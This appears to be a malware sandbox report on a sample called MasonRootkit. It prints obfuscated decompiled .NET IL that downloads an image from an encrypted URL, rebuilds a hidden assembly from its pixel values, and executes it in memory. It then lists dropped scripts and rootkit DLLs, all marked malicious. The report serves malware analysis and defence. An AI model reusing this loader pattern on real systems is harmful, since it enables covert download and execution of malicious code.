MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String) nop <null> newobj System.Void System.Net.WebClient::.ctor() stloc.s V_5 ldloc.s V_5 ldstr 
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1338693632 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.IO.Stream System.Net.WebClient::OpenRead(System.String) newobj System.Void System.Drawing.Bitmap::.ctor(System.IO.Stream) stloc.s V_6 ldloc.s V_6 callvirt System.Int32 System.Drawing.Image::get_Width() newarr System.Byte stloc.s V_7 ldc.i4.0 <null> stloc.s V_8 br.s IL_02F1: ldloc.s V_8 ldloc.s V_7 ldloc.s V_8 ldloc.s V_6 ldloc.s V_8 ldc.i4.0 <null> callvirt System.Drawing.Color System.Drawing.Bitmap::GetPixel(System.Int32,System.Int32) stloc.s V_9 ldloca.s V_9 call System.Byte System.Drawing.Color::get_R() stelem.i1 <null> ldloc.s V_8 ldc.i4.1 <null> add <null> stloc.s V_8 ldloc.s V_8 ldloc.s V_6 callvirt System.Int32 System.Drawing.Image::get_Width() blt.s IL_02D3: ldloc.s V_7 call System.AppDomain System.AppDomain::get_CurrentDomain() ldloc.s V_7 callvirt System.Reflection.Assembly System.AppDomain::Load(System.Byte[]) callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_0323: leave.s IL_0331 ldloc.s V_6 brfalse.s IL_0322: endfinally ldloc.s V_6 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0331: leave.s IL_0367 ldloc.s V_5 brfalse.s IL_0330: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0367: ret stloc.s V_10 ldstr 
煳
煄
煄
煙
煄
焖
煚
煙
煗
煒
煟
煘
煑
焖
煗
煘
煒
焖
煆
煄
煙
煕
煓
煅
煅
煟
煘
煑
焖
煂
煞
煓
焖
煔
煟
煂
煛
煗
煆
焌
焖 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1018065206 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) ldloc.s V_10 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) leave.s IL_0367: ret ret <null>
849955535b2314f0abb2e85248736084 (2.12 MB)
File Structure
849955535b2314f0abb2e85248736084
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
849955535b2314f0abb2e85248736084.decoded.vbs
Malicious
.Net Resources
Malicious
ol5grcv1.0qe
Malicious
Overlay_be82fa31.bin
Malicious
muSfOaqxg0OD.bat
runtimeMonitordll.exe
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.sdata
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:1033
.Net Resources
HPKTqSjrcXvfpdttPr.jdWKASWppofG1A4bNO
jANEyRX5PMoHIIewRh.2FwaJrLIbRnysKt0jU
6I2n9HJu1iOlNM.vbe
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rdata
.data
.didat
.rsrc
.reloc
Resources
PNG
ID:0065
ID:1033
ID:1033-preview.png
ID:0066
ID:1033
ID:1033-preview.png
RT_ICON
ID:0001
ID:1033
ID:0002
ID:1033
ID:0003
ID:1033
ID:0004
ID:1033
ID:0005
ID:1033
ID:0006
ID:1033
ID:0007
ID:1033
ID:1033-preview.png
RT_DIALOG
ID:0000
ID:1033
RT_STRING
ID:0007
ID:1033
ID:0008
ID:1033
ID:0009
ID:1033
ID:000A
ID:1033
ID:000B
ID:1033
ID:000C
ID:1033
ID:000D
ID:1033
ID:000E
ID:1033
ID:000F
ID:1033
ID:0010
ID:1033
RT_GROUP_CURSOR4
ID:0064
ID:1033
RT_MANIFEST
ID:0001
ID:1033
lyqiq1ij.myarootkit
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.rsrc
Resources
DLL
ID:0065
ID:1033
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.detourc
.detourd
_RDATA
.reloc
Characteristics
No malware configuration were found at this point.
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙